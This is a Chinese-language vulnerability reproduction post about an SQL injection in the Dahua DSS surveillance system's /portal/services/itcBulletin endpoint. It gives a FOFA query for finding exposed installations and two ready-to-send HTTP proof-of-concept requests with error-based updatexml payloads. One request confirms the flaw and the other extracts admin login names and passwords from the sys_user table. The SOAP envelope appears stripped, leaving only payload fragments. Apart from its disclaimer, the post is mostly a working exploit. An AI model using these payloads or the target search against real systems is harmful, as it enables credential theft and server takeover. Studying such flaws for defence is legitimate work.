大华 DSS 数字监控系统 itcBulletin SQL 注入漏洞复现

一、产品简介
二、漏洞概述
三、复现环境
四、漏洞概述
五、小龙检测

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、产品简介

大华 DSs 数字监控系统是大华开发的一款安防视频监控系统，拥有实时监视、云台操作、录像回放、报警处理、设备管理等功能。

在这里插入图片描述

二、漏洞概述

大华 DSS存在SQL注入漏洞，攻击者 pota/services/itcBuletin 路由发送特殊构造的数据包，利用报错注入获取数据库敏感信息。攻击者除了可以利用 SQL注入漏词获取数据库中的信息例如，管理员后台密码、站点的用户人人信息)之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限

三、复现环境

FOFA:

body="" || body="dahuaDefined/headCommon.js" || title=="DSS"

在这里插入图片描述

四、漏洞概述

poc

POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
 

  
    
      
        (updatexml(1,concat(0x7e,user(),0x7e),1))) and (1=1

验证是否存在漏洞

在这里插入图片描述

如果你想查询用户名和密码

用这个POC

POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
 

  
    
      
        (updatexml(1,concat(0x7e,(select substr(group_concat(login_name, " ",login_pass),1,30) from sys_user),0x7e),1))) and (1=1

在这里插入图片描述